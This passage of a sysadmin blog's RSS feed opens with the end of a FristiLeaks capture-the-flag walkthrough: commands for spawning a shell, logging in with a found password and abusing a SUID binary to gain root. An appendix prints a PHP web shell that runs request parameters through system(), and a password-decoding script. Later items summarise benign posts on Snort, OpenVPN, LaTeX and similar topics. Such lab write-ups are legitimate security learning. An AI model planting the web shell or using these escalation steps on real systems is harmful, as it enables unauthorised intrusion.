 * found: empty mailboxes
 * found: /var/www/notes.txt 
 * not very useful since we already figured this out
 * tried to get tty shell 
 // https://pen-testing.sans.org/blog/2014/07/08/sneaky-stealthy-su-in-web-shells
 // http://netsec.ws/?p=337
 * /usr/bin/python -c 'import pty; pty.spawn(&amp;quot;/bin/sh&amp;quot;)'
 * used: su fristigod and password: LetThereBeFristi!
 * cd /var/fristigod
 * ls -las 
 * found: .bash_history and .secret_admin_stuff
 * cat .bash_history
 * found: sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
 * ls -las /var/fristigod/.secret_admin_stuff/
 * found: suid/guid set on doCom file and owned by root:root
 * file /var/fristigod/.secret_admin_stuff/doCom
 * strings /var/fristigod/.secret_admin_stuff/doCom
 * sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
 * found: Usage: ./program_name terminal_command ...
 * sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id
 * found: uid=0(root) gid=100(users) groups=100(users),502(fristigod)
 * sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom bash
 !! got root !!
 * found: cat /root/fristileaks_secrets.txt
 * cat /root/fristileaks_secrets.txt
 * found: Flag: Y0u_kn0w_y0u_l0ve_fr1st1

# Other
* /root/.c has source for doCom
* cat /root/.mysql_history
 

* appendix
// http://snipplr.com/view/72936/simple-php-backdoor-shell/
-- start of old script -- 
&amp;lt;?php
if(isset($_REQUEST['cmd']))
{
 $cmd = $_REQUEST['cmd'];
 system($cmd);
 echo &amp;quot;&amp;lt;pre&amp;gt;$cmd&amp;lt;/pre&amp;gt;&amp;quot;;
}
else
{
 echo &amp;quot;&amp;lt;pre&amp;gt;usage: ?cmd=&amp;lt;/pre&amp;gt;&amp;quot;;
}
?&amp;gt;

-- end of old script


// modified cryptpass.py script
-- start of decryptpass.py script --
import base64,codecs,sys

#def encodeString(str):
# base64string= base64.b64encode(str)
# return codecs.encode(base64string[::-1], 'rot13')

def decodeString(str):
 rottedString= codecs.encode(str[::-1], 'rot13')
 return base64.b64decode(rottedString)

#cryptoResult=encodeString(sys.argv[1])
#print cryptoResult

#decryptedResult=decodeString(cryptoResult)
#print decryptedResult

decryptedResult=decodeString(sys.argv[1])
print decryptedResult
-- end of decryptpass.py script --
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>.vimrc</title><link>http://kush.com.fj/post/2015-12-19-vimrc/</link><pubDate>Sat, 19 Dec 2015 20:18:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2015-12-19-vimrc/</guid><description>&lt;p&gt;set nobackup &amp;quot; do not save ~file&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;set backspace=2 &amp;quot; backspace in insert mode like other editors
set cursorline &amp;quot; location of cursor shown as underscore
syntax on &amp;quot; syntax highlighting
set number &amp;quot; line numbers

filetype indent on &amp;quot; activates indenting for files
set autoindent &amp;quot; auto indenting
set si &amp;quot; smart indent

set expandtab &amp;quot; use spaces instead of tabs
set smarttab &amp;quot; use smarts when tabbing
set shiftwidth=2 &amp;quot; 1 tab == 2 spaces
set tabstop=2
set softtabstop=2

set textwidth=130 &amp;quot; wrap lines 130 chars, wide-carriage :)

set hlsearch &amp;quot; highlight search results
set incsearch &amp;quot; incremental search to move result while typing
set showmatch &amp;quot; show matching brackets
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Metasploitable2 Walk-through</title><link>http://kush.com.fj/post/2015-02-08-metasploitable2-walk-through/</link><pubDate>Sun, 08 Feb 2015 19:08:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2015-02-08-metasploitable2-walk-through/</guid><description>&lt;p&gt;&lt;em&gt;(This is an interim post and will be updated progressively. This note
will be removed once done.)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;This post extends the walk-though on the initial version of
Metasploitable at
&lt;a href="http://nkush.blogspot.com.au/2011/09/metasploitable-walkthrough.html"&gt;http://nkush.blogspot.com.au/2011/09/metasploitable-walkthrough.html&lt;/a&gt;. It
should be noted that some commands and output may have been truncated
for the purposes of brevity.&lt;/p&gt;
&lt;p&gt;&lt;!-- raw HTML omitted --&gt;Set-up&lt;!-- raw HTML omitted --&gt;&lt;br&gt;
The set-up included two machines in a virtual test environment using
VirtualBox. The first was a Metasploitable virtual machine (VM) and the
second a Kali 1.0 VM. The two hosts were configured to have a host-only
network connection. The test environment was isolated to the
192.168.32.0/24 network. All commands were execute on the Kali VM.&lt;/p&gt;</description></item><item><title>Setting up git</title><link>http://kush.com.fj/post/2014-11-05-setting-up-git/</link><pubDate>Wed, 05 Nov 2014 20:53:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2014-11-05-setting-up-git/</guid><description>&lt;p&gt;Git is yet another open source version control, and seems to be the tool
of choice for contemporary coding mavericks. I still prefer svn and cvs,
for centralised version control, but can appreciate why some projects
may require distributed repositories as afforded by git.&lt;/p&gt;
&lt;p&gt;Setting up a central git repository on a server is easy. You basically
setup a user, whose home directory is used to store the repositories,
and allow access to people using keys, where the user retain their
private key and their public key is saved as an authorised key for the
git user account.&lt;/p&gt;</description></item><item><title>Denyhost 2.6 on CentOS 6.5</title><link>http://kush.com.fj/post/2014-11-05-denyhost-2-6-on-centos-6-5/</link><pubDate>Wed, 05 Nov 2014 20:51:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2014-11-05-denyhost-2-6-on-centos-6-5/</guid><description>&lt;p&gt;Denyhosts is another utility similar to fail2ban. It parses log files to
identify potential attacks against SSH services. A clear advantage that
Denyhosts has over fail2ban is the synchronisation mechanism since
version 2.0&lt;!-- raw HTML omitted --&gt;[1]&lt;!-- raw HTML omitted --&gt;. Denyhosts
permits communication with a central server to exchange information
about denied hosts by other Denyhosts daemons. However unlike fail2ban,
it does not modify any firewall (iptables) rules, instead it relies on
tcpwrapper and the hosts.deny file to block ssh access. Fail2ban also
offers the advantage of monitoring other services and logs, whereas
Denyhosts is specific to SSH. There are other utilities which use
tcpwrapper such which can handle additional services&lt;!-- raw HTML omitted --&gt;[2]&lt;!-- raw HTML omitted --&gt;.&lt;/p&gt;</description></item><item><title>Configuring RANCID on CentOS 6.5</title><link>http://kush.com.fj/post/2014-10-22-configuring-rancid-on-centos-6-5/</link><pubDate>Wed, 22 Oct 2014 16:51:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2014-10-22-configuring-rancid-on-centos-6-5/</guid><description>&lt;p&gt;RANCID stands for really awesome new cisco configuration differ&lt;!-- raw HTML omitted --&gt;[1]&lt;!-- raw HTML omitted --&gt; and polls Cisco devices to get
a copy of the configuration and an inventory of the hardware and commits
the details to a version control system such a CVS or SVN. The version
control is used to maintain a history of the changes, and any changes to
the configuration are reported. There are a number of guides available
for installing RANCID&lt;!-- raw HTML omitted --&gt;[2,4,5]&lt;!-- raw HTML omitted --&gt;, but I&amp;rsquo;ve documented the
steps I took here for my reference.&lt;/p&gt;</description></item><item><title>Dog Training for Network Admins: Managing POODLE - CVE-2014-3566</title><link>http://kush.com.fj/post/2014-10-22-dog-training-for-network-admins-managing-poodle-cve-2014-3566/</link><pubDate>Wed, 22 Oct 2014 00:48:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2014-10-22-dog-training-for-network-admins-managing-poodle-cve-2014-3566/</guid><description>&lt;p&gt;CVE-2014-3566 relates to a flaw found in handling of padded bytes in SSL
3.0 when using CBC mode for the encryption&lt;!-- raw HTML omitted --&gt;[3]&lt;!-- raw HTML omitted --&gt;. The flaw may be exploited to
permit a man-in-the-middle (MITM) attack. The attacker may be able to
decrypt a selected byte of a cipher text in a limited number (256) of
attempts, by repeatedly requesting the victim to send the same data over
multiple SSLv3 connections.&lt;/p&gt;</description></item><item><title>Patching Bash "shellshock" on Apple Mac OS X 10.9.5</title><link>http://kush.com.fj/post/2014-09-25-patching-bash-shellshock-on-apple-mac-os-x-10-9-5/</link><pubDate>Thu, 25 Sep 2014 15:12:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2014-09-25-patching-bash-shellshock-on-apple-mac-os-x-10-9-5/</guid><description>&lt;p&gt;Given the recent bash vulnerability disclosure&lt;!-- raw HTML omitted --&gt;[1]&lt;!-- raw HTML omitted --&gt; most linux distributions have
released patches. Unfortunately Apple still expected users to compile
their patches into bash. If you were using Homebrew or Macport you were
in better standing and simply had to create symlinks to the patched
executables. I&amp;rsquo;ve documented the steps I had to take on my Mac
desktop.&lt;/p&gt;
&lt;p&gt;&lt;!-- raw HTML omitted --&gt;Compile&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;</description></item><item><title>Microsoft Office 2013 Activation - Error 0x800070005</title><link>http://kush.com.fj/post/2014-06-03-microsoft-office-2013-activation-error-0x800070005/</link><pubDate>Tue, 03 Jun 2014 10:12:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2014-06-03-microsoft-office-2013-activation-error-0x800070005/</guid><description>&lt;p&gt;I have some customers who do not volume license their Microsoft Product
and need to activate their Microsoft Office products. This particular
customer bought a laptop with Microsoft Office 2013 pre-loaded and
purchased a separate Microsoft Office Home and Business 2013 1PC
License, however when they tried to activate the license by entering in
their product key they kept getting a pop-up error message;&lt;/p&gt;
&lt;p&gt;&amp;ldquo;&lt;!-- raw HTML omitted --&gt;We&amp;rsquo;re
sorry, something went wrong and we can&amp;rsquo;t do this for you right now.
Please try again later. ( 0x80070005 )&lt;!-- raw HTML omitted --&gt;&amp;rdquo;.&lt;/p&gt;</description></item><item><title>CentOS 6.4 VirtualBox VM won't boot up after doing an update/upgrade!!!</title><link>http://kush.com.fj/post/2013-04-04-centos-6-4-virtualbox-vm-wont-boot-up-after-doing-an-update-upgrade/</link><pubDate>Thu, 04 Apr 2013 19:10:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2013-04-04-centos-6-4-virtualbox-vm-wont-boot-up-after-doing-an-update-upgrade/</guid><description>&lt;p&gt;Often times, I employ a CentOS VirtualBox virtual machine (VM) as a
development, testing and staging environment, I love the flexibility of
virtual environments for testing and development work before moving my
work to production environments.&lt;/p&gt;
&lt;p&gt;Recently I ran a yum update and yum upgrade on a CentOS 6.4 VM and
subsequently rebooted it, only to be greeted by a blank screen following
bootup. A quick search of virtual TTY terminals yielded a login
prompt.&lt;/p&gt;</description></item><item><title>Snort 2.9 on CentOS 6.3 (continued) with Barnyard2</title><link>http://kush.com.fj/post/2013-03-28-snort-2-9-on-centos-6-3-continued-with-barnyard2/</link><pubDate>Thu, 28 Mar 2013 18:39:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2013-03-28-snort-2-9-on-centos-6-3-continued-with-barnyard2/</guid><description>&lt;p&gt;This is a continuation of the post on installing Snort 2.9 on CentOS 6.4
(&lt;a href="http://nkush.blogspot.com.au/2013/03/snort-29-on-centos-63.html)"&gt;http://nkush.blogspot.com.au/2013/03/snort-29-on-centos-63.html)&lt;/a&gt;. This
post installs Barnyard2 on the host.&lt;/p&gt;
&lt;p&gt;Barnyard is an output system for Snort. If effectively allows better
snort performance by enabling Snort to produce binary output which is
then processed by Barnyard.&lt;/p&gt;
&lt;p&gt;Barnyard processes the binary Snort output files (unified2 binary) and
stores the processed data into a database back-end, for example MySQL.
The advantage of using Barnyard instead of the database output from
Snort is that Barnyard is able to &amp;ldquo;cache&amp;rdquo; the data in case the database
is unavailable.&lt;/p&gt;</description></item><item><title>Snort 2.9 on CentOS 6.3</title><link>http://kush.com.fj/post/2013-03-16-snort-2-9-on-centos-6-3/</link><pubDate>Sat, 16 Mar 2013 18:03:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2013-03-16-snort-2-9-on-centos-6-3/</guid><description>&lt;p&gt;Snort is a signature based network intrusion detection system (NIDS)
which has become a defacto standard for NIDS. In addition to being used
as a NIDS, Snort may also be used as a simple network traffic packet
sniffer or logger.&lt;/p&gt;
&lt;p&gt;A number of Snort dynamic preprocessors are available which enables the
development of rules to attack detection.&lt;/p&gt;
&lt;p&gt;Snort is an open source product and available for most popular network
operating systems. Snort rules are also available commercially from
Sourcefire.&lt;/p&gt;</description></item><item><title>Installing and Configuring OpenVPN 2.3 on Microsoft Windows Small Business Server 2003</title><link>http://kush.com.fj/post/2013-03-03-installing-and-configuring-openvpn-2-3-on-microsoft-windows-small-business-server-2003/</link><pubDate>Sun, 03 Mar 2013 16:08:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2013-03-03-installing-and-configuring-openvpn-2-3-on-microsoft-windows-small-business-server-2003/</guid><description>&lt;p&gt;My previous posts
(&lt;a href="http://nkush.blogspot.com.au/2012/08/installing-openvpn-22-on-centos-63-64bit.html"&gt;http://nkush.blogspot.com.au/2012/08/installing-openvpn-22-on-centos-63-64bit.html&lt;/a&gt;
and
&lt;a href="http://nkush.blogspot.com.au/2011/10/installing-openvpn-22-on-centos-57.html"&gt;http://nkush.blogspot.com.au/2011/10/installing-openvpn-22-on-centos-57.html&lt;/a&gt;)
have been on installing OpenVPN on Linux.&lt;/p&gt;
&lt;p&gt;This post is slightly different as it installs and configures OpenVPN on
a Microsoft Windows Small Business Server (SBS). The SBS installation is
also different from the previous write-ups since this configuration uses
Ethernet bridging instead of tunneling.&lt;/p&gt;
&lt;p&gt;Although SBS comes with Layer2 Tunneling Protocol (L2TP) and
Point-to-point Tunelling Protocol (PPTP) for Virtual Private Network
(VPN), some users may want to use an Secure Sockets Layer (SSL) based
VPN such as OpenVPN. The default installation location, i.e. C:\Program
Files\OpenVPN\ is used in the instructions below&lt;/p&gt;</description></item><item><title>! LaTeX Error: File `algorithm2e.sty' not found.</title><link>http://kush.com.fj/post/2012-10-22-latex-error-file-algorithm2e-sty-not-found/</link><pubDate>Mon, 22 Oct 2012 13:37:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2012-10-22-latex-error-file-algorithm2e-sty-not-found/</guid><description>&lt;p&gt;During yet another LaTeX project on my MacBook, I added some algorithms
to my paper. After checking a couple of examples online, and discussing
with a colleage I decided to go with algorithm2e over others such as
algorithm, algorithmic, algorithmicx, program and pseudocode&lt;!-- raw HTML omitted --&gt;[1].&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;
&lt;p&gt;However I got the following error &amp;ldquo;&lt;strong&gt;! LaTeX Error: File
`algorithm2e.sty&amp;rsquo; not found.&lt;/strong&gt;&amp;rdquo; Since I am using macport, to resolve
this I needed to install the texlive-science package by executing &lt;strong&gt;sudo
port install texlive-science,&lt;/strong&gt; and all was good again.&lt;/p&gt;</description></item><item><title>Using QUT Secure Access Service (SAS) on Ubuntu</title><link>http://kush.com.fj/post/2012-08-17-using-qut-secure-access-service-sas-on-ubuntu/</link><pubDate>Fri, 17 Aug 2012 19:02:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2012-08-17-using-qut-secure-access-service-sas-on-ubuntu/</guid><description>&lt;p&gt;QUT SAS allows QUT students and staff remote access to QUT resources
securely. Unix and Unix-like operating systems such as Linux are not
supported. The instruction on the QUT ITServices are pretty clear [1].
But I have duplicated some of it here for my reference. I tested the
configuration on Ubuntu.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Install VPNC&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;sudo apt-get install vpnc&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Download or create the configuration file&lt;/strong&gt;&lt;br&gt;
The configuration file can be specified on the command line when
executing vpnc, or /etc/vpnc/default.conf and /etc/vpnc.conf will be
used. If you only using a single VPNC connection, then save the
configuration file as /etc/vpnc.conf&lt;br&gt;
Sample configuration file /etc/vpnc.conf. A sample configuration file is
provided below. If you do not have a configuration and simple execute
vpnc, you can still establish a connection by supplying the correct
input at the prompts.&lt;/p&gt;</description></item><item><title>Connecting to OpenVPN from a Mac using Tunnelblink</title><link>http://kush.com.fj/post/2012-08-10-connecting-to-openvpn-from-a-mac-using-tunnelblink/</link><pubDate>Fri, 10 Aug 2012 12:04:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2012-08-10-connecting-to-openvpn-from-a-mac-using-tunnelblink/</guid><description>&lt;p&gt;To connect to an OpenVPN server you need an appropriate OpenVPN client
installed to establish the SSL link. For Apple Mac OS X systems,
TunnelBlick (&lt;a href="http://code.google.com/p/tunnelblick/"&gt;http://code.google.com/p/tunnelblick/&lt;/a&gt;) is a good graphical
user interface. At the time of this blog the current latest stable
version of TunnelBlick available was 3.2.7. These instructions were
executed on an Apple iMac running Mac OS X 10.7.4. As with all other
posts on this blog, the purpose of this post is not to provide a
tutorial, but instead to documents the steps taken, for my own
benefit.&lt;/p&gt;</description></item><item><title>Installing OpenVPN 2.2 on CentOS 6.3 64bit</title><link>http://kush.com.fj/post/2012-08-08-installing-openvpn-2-2-on-centos-6-3-64bit/</link><pubDate>Wed, 08 Aug 2012 23:37:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2012-08-08-installing-openvpn-2-2-on-centos-6-3-64bit/</guid><description>&lt;p&gt;This post is just an update of a previous post that used CentOS 5.7 and
OpenVPN 2.2
(&lt;a href="http://nkush.blogspot.com.au/2011/10/installing-openvpn-22-on-centos-57.html"&gt;http://nkush.blogspot.com.au/2011/10/installing-openvpn-22-on-centos-57.html&lt;/a&gt;).
The basic instructions are the same, however this post uses some newer
packages which may have been relocated to new URLs. Again this blog and
the posts are mostly for my own reference and not intended as
step-by-step instuctions for other systems/network administrators&lt;/p&gt;
&lt;p&gt;Install RPMForge or RepoForge as it&amp;rsquo;s now known&lt;!-- raw HTML omitted --&gt;[1]&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;</description></item><item><title>Change Apple Mac OS X Software Update Service (SUS) address</title><link>http://kush.com.fj/post/2012-07-26-change-apple-mac-os-x-software-update-service-sus-address/</link><pubDate>Thu, 26 Jul 2012 15:01:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2012-07-26-change-apple-mac-os-x-software-update-service-sus-address/</guid><description>&lt;p&gt;Apple IU Software Update service allows uses to keep their Mac OS X
machines updated with the latest software updates and security patched.
In some controlled environments, the update servers are specified in the
user profile. Sometimes there may be delays in the server updates, or
problems with the local update server and users may desire to connect to
Apple&amp;rsquo;s services directly. Here&amp;rsquo;s are some instructions that users may
find useful. Please note that to make configuration changes you will
need Administrative privileges on your Mac.&lt;/p&gt;</description></item><item><title>How to install Springer Lecture Notes in Computer Science (LNCS) style for MiKTeK on Windows 7</title><link>http://kush.com.fj/post/2012-07-25-how-to-install-springer-lecture-notes-in-computer-science-lncs-style-for-miktek-on-windows-7/</link><pubDate>Wed, 25 Jul 2012 21:08:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2012-07-25-how-to-install-springer-lecture-notes-in-computer-science-lncs-style-for-miktek-on-windows-7/</guid><description>&lt;p&gt;Following on from my previous post&amp;hellip; I had the same issue when working
on my Microsoft Windows desktop at home, i.e. got the following error &amp;ldquo;!
LaTeX Error: File `llncs.cls&amp;rsquo; not found.&amp;rdquo;. So had to download the
&amp;ldquo;llncs2e.zip&amp;rdquo; file yet again from
&amp;ldquo;&lt;a href="http://www.springer.com/computer/lncs?SGWID=0-164-6-793341-0/"&gt;http://www.springer.com/computer/lncs?SGWID=0-164-6-793341-0/&lt;/a&gt;&amp;rdquo;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Dowload and extract llncs2e.zip&lt;/li&gt;
&lt;li&gt;Create a directory called splncs in C:\Program Files\MiKTeX
2.?\bibtex\bst&lt;/li&gt;
&lt;li&gt;Move the extracted file splncs.bst, splncs_srt.bst, and
splncs03.bst into the new directory C:\Program Files\MiKTeX
2.9\bibtex\bst\splncs&lt;/li&gt;
&lt;li&gt;Move the extracted directory ?? into C:\Program Files\MiKTeX
2.9\tex\latex&lt;/li&gt;
&lt;li&gt;Rebuild the filename database by Miktek - Maintenance - Settings,
and click on the &amp;ldquo;Refresh FNDB&amp;rdquo; button (this may take a while
depending on your computer)&lt;/li&gt;
&lt;/ol&gt;</description></item><item><title>Springer Lecture Notes in Computer Science (LNCS) style</title><link>http://kush.com.fj/post/2012-07-24-springer-lecture-notes-in-computer-science-lncs-style/</link><pubDate>Tue, 24 Jul 2012 13:14:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2012-07-24-springer-lecture-notes-in-computer-science-lncs-style/</guid><description>&lt;p&gt;&lt;!-- raw HTML omitted --&gt;When working on a recent paper for a
conference, I was required to produce it using the Spring Lecture Notes
in Computer Science (LNCS) style. Being naive, I assumed TeX would
automatically download the required package&amp;hellip; unfortunately I got the
following error &amp;ldquo;LaTeX Error: File `llncs.cls&amp;rsquo; not found.&amp;rdquo; So I had to
install the class manually. Here are the instructions for installing it
on Mac OS X for latex from macport.&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;</description></item><item><title>My ant build.xml file</title><link>http://kush.com.fj/post/2012-07-20-my-ant-build-xml-file/</link><pubDate>Fri, 20 Jul 2012 10:52:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2012-07-20-my-ant-build-xml-file/</guid><description>&lt;p&gt;I am doing some development work using Java and am using ant to build my
code. Decided to post a copy of the build.xml file here&amp;hellip; sorry about
the formatting&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;project name=&amp;quot;TODO-PROJ-NAME&amp;quot; basedir=&amp;quot;.&amp;quot; default=&amp;quot;main&amp;quot;&amp;gt;
 &amp;lt;property name=&amp;quot;username&amp;quot; value=&amp;quot;TODO-USERNAME&amp;quot;/&amp;gt;
 &amp;lt;property name=&amp;quot;proj.name&amp;quot; value=&amp;quot;TODO-PROJ-NAME&amp;quot;/&amp;gt;
 &amp;lt;property name=&amp;quot;proj.ver&amp;quot; value=&amp;quot;TODO-VER&amp;quot;/&amp;gt;
 &amp;lt;property name=&amp;quot;proj.owner&amp;quot; value=&amp;quot;TODO-COPYRIGHT&amp;quot;/&amp;gt;

 &amp;lt;tstamp&amp;gt;
 &amp;lt;format property=&amp;quot;TODAY&amp;quot; pattern=&amp;quot;yyyy-MM-dd HH:mm:ss&amp;quot; /&amp;gt;
 &amp;lt;/tstamp&amp;gt;
 
 &amp;lt;property name=&amp;quot;src.dir&amp;quot; value=&amp;quot;src&amp;quot;/&amp;gt;
 &amp;lt;property name=&amp;quot;build.dir&amp;quot; value=&amp;quot;bin&amp;quot;/&amp;gt;
 &amp;lt;property name=&amp;quot;lib.dir&amp;quot; value=&amp;quot;lib&amp;quot;/&amp;gt;
 &amp;lt;property name=&amp;quot;classes.dir&amp;quot; value=&amp;quot;${build.dir}/classes&amp;quot;/&amp;gt;
 &amp;lt;property name=&amp;quot;jar.dir&amp;quot; value=&amp;quot;${build.dir}/jar&amp;quot;/&amp;gt;
 &amp;lt;property name=&amp;quot;javadoc.dir&amp;quot; value=&amp;quot;${build.dir}/javadoc&amp;quot;/&amp;gt;

 &amp;lt;property name=&amp;quot;main-class&amp;quot; value=&amp;quot;fj.com.kush.ui.TODO-PROJ&amp;quot;/&amp;gt;

 &amp;lt;path id=&amp;quot;project.classpath&amp;quot;&amp;gt;
 &amp;lt;fileset dir=&amp;quot;${lib.dir}&amp;quot;&amp;gt;
 &amp;lt;include name=&amp;quot;*.jar&amp;quot;/&amp;gt;
 &amp;lt;/fileset&amp;gt;
 &amp;lt;pathelement path=&amp;quot;${classes.dir}&amp;quot;/&amp;gt;
 &amp;lt;/path&amp;gt;


 &amp;lt;target name=&amp;quot;clean&amp;quot;&amp;gt;
 &amp;lt;delete dir=&amp;quot;${build.dir}&amp;quot;/&amp;gt;
 &amp;lt;delete&amp;gt;
 &amp;lt;fileset dir=&amp;quot;.&amp;quot; includes=&amp;quot;**/*~&amp;quot; defaultexcludes=&amp;quot;false&amp;quot;/&amp;gt;
 &amp;lt;/delete&amp;gt; 
 &amp;lt;/target&amp;gt;


 &amp;lt;target name=&amp;quot;compile&amp;quot;&amp;gt;
 &amp;lt;mkdir dir=&amp;quot;${classes.dir}&amp;quot;/&amp;gt;
 &amp;lt;javac destdir=&amp;quot;${classes.dir}&amp;quot; includeantruntime=&amp;quot;false&amp;quot; debug=&amp;quot;true&amp;quot; debuglevel=&amp;quot;lines, vars, and source&amp;quot;&amp;gt;
 &amp;lt;src path=&amp;quot;${src.dir}&amp;quot;/&amp;gt;
 &amp;lt;classpath refid=&amp;quot;project.classpath&amp;quot;/&amp;gt;
 &amp;lt;/javac&amp;gt;
 &amp;lt;/target&amp;gt;


 &amp;lt;target name=&amp;quot;javadoc&amp;quot;&amp;gt;
 &amp;lt;mkdir dir=&amp;quot;${javadoc.dir}&amp;quot;/&amp;gt;
 &amp;lt;javadoc destdir=&amp;quot;${javadoc.dir}&amp;quot;&amp;gt;
 &amp;lt;fileset dir=&amp;quot;${src.dir}&amp;quot;/&amp;gt;
 &amp;lt;/javadoc&amp;gt;
 &amp;lt;/target&amp;gt;


 &amp;lt;target name=&amp;quot;release&amp;quot; depends=&amp;quot;jar, javadoc&amp;quot; description=&amp;quot;make a new release of the project&amp;quot;/&amp;gt;


 &amp;lt;target name=&amp;quot;copy.properties&amp;quot;&amp;gt;
 &amp;lt;mkdir dir=&amp;quot;${classes.dir}&amp;quot;/&amp;gt;

 &amp;lt;patternset id=&amp;quot;properties.files&amp;quot;&amp;gt;
 &amp;lt;include name=&amp;quot;**/*.properties&amp;quot;/&amp;gt;
 &amp;lt;/patternset&amp;gt;

 &amp;lt;copy todir=&amp;quot;${classes.dir}&amp;quot;&amp;gt;
 &amp;lt;fileset dir=&amp;quot;${src.dir}&amp;quot;&amp;gt;
 &amp;lt;patternset refid=&amp;quot;properties.files&amp;quot;/&amp;gt;
 &amp;lt;/fileset&amp;gt;
 &amp;lt;/copy&amp;gt;
 &amp;lt;/target&amp;gt;


 &amp;lt;target name=&amp;quot;jar&amp;quot; depends=&amp;quot;compile,copy.properties&amp;quot;&amp;gt;
 &amp;lt;mkdir dir=&amp;quot;${jar.dir}&amp;quot;/&amp;gt;
 &amp;lt;jar destfile=&amp;quot;${jar.dir}/${ant.project.name}.jar&amp;quot; basedir=&amp;quot;${classes.dir}&amp;quot;&amp;gt;
 &amp;lt;manifest&amp;gt;
 &amp;lt;attribute name=&amp;quot;Implementation-Title&amp;quot; value=&amp;quot;${proj.name}&amp;quot;/&amp;gt;
 &amp;lt;attribute name=&amp;quot;Implementation-Version&amp;quot; value=&amp;quot;${proj.ver}&amp;quot;/&amp;gt;
 &amp;lt;attribute name=&amp;quot;Implementation-Vendor&amp;quot; value=&amp;quot;${proj.owner}&amp;quot;/&amp;gt;
 &amp;lt;attribute name=&amp;quot;Main-Class&amp;quot; value=&amp;quot;${main-class}&amp;quot;/&amp;gt;
 &amp;lt;attribute name=&amp;quot;Built-By&amp;quot; value=&amp;quot;${username}&amp;quot;/&amp;gt;
 &amp;lt;attribute name=&amp;quot;Built-Date&amp;quot; value=&amp;quot;${TODAY}&amp;quot;/&amp;gt;
 &amp;lt;attribute name=&amp;quot;Class-Path&amp;quot; value=&amp;quot;./&amp;quot;/&amp;gt;
 &amp;lt;/manifest&amp;gt;
 &amp;lt;/jar&amp;gt;
 &amp;lt;/target&amp;gt;


 &amp;lt;target name=&amp;quot;run&amp;quot; depends=&amp;quot;jar&amp;quot;&amp;gt;
 &amp;lt;java jar=&amp;quot;${jar.dir}/${ant.project.name}.jar&amp;quot; fork=&amp;quot;true&amp;quot;/&amp;gt;
 &amp;lt;/target&amp;gt;


 &amp;lt;target name=&amp;quot;clean-build&amp;quot; depends=&amp;quot;clean,jar&amp;quot;/&amp;gt;


 &amp;lt;target name=&amp;quot;main&amp;quot; depends=&amp;quot;clean,run&amp;quot;/&amp;gt;
&amp;lt;/project&amp;gt;
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Microsoft Windows Server 2003 for Small Business Server Microsoft Exchange Mail Store unmounts</title><link>http://kush.com.fj/post/2012-05-08-microsoft-windows-server-2003-for-small-business-server-microsoft-exchange-mail-store-unmounts/</link><pubDate>Tue, 08 May 2012 09:59:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2012-05-08-microsoft-windows-server-2003-for-small-business-server-microsoft-exchange-mail-store-unmounts/</guid><description>&lt;p&gt;At 08:59hrs this morning I got a call from a customer who was unable to
receive e-mail. Logging into their server I discovered that there were
indeed messages stuck in the Local Delivery queue. I checked the
Application event logs and found the following event log&lt;/p&gt;
&lt;p&gt;&lt;!-- raw HTML omitted --&gt;Event
Type:&lt;!-- raw HTML omitted --&gt;
&lt;!-- raw HTML omitted --&gt;Error&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;
&lt;p&gt;&lt;!-- raw HTML omitted --&gt;Event
Source:&lt;!-- raw HTML omitted --&gt;
&lt;!-- raw HTML omitted --&gt;MSExchangeSA&lt;!-- raw HTML omitted --&gt;&lt;br&gt;
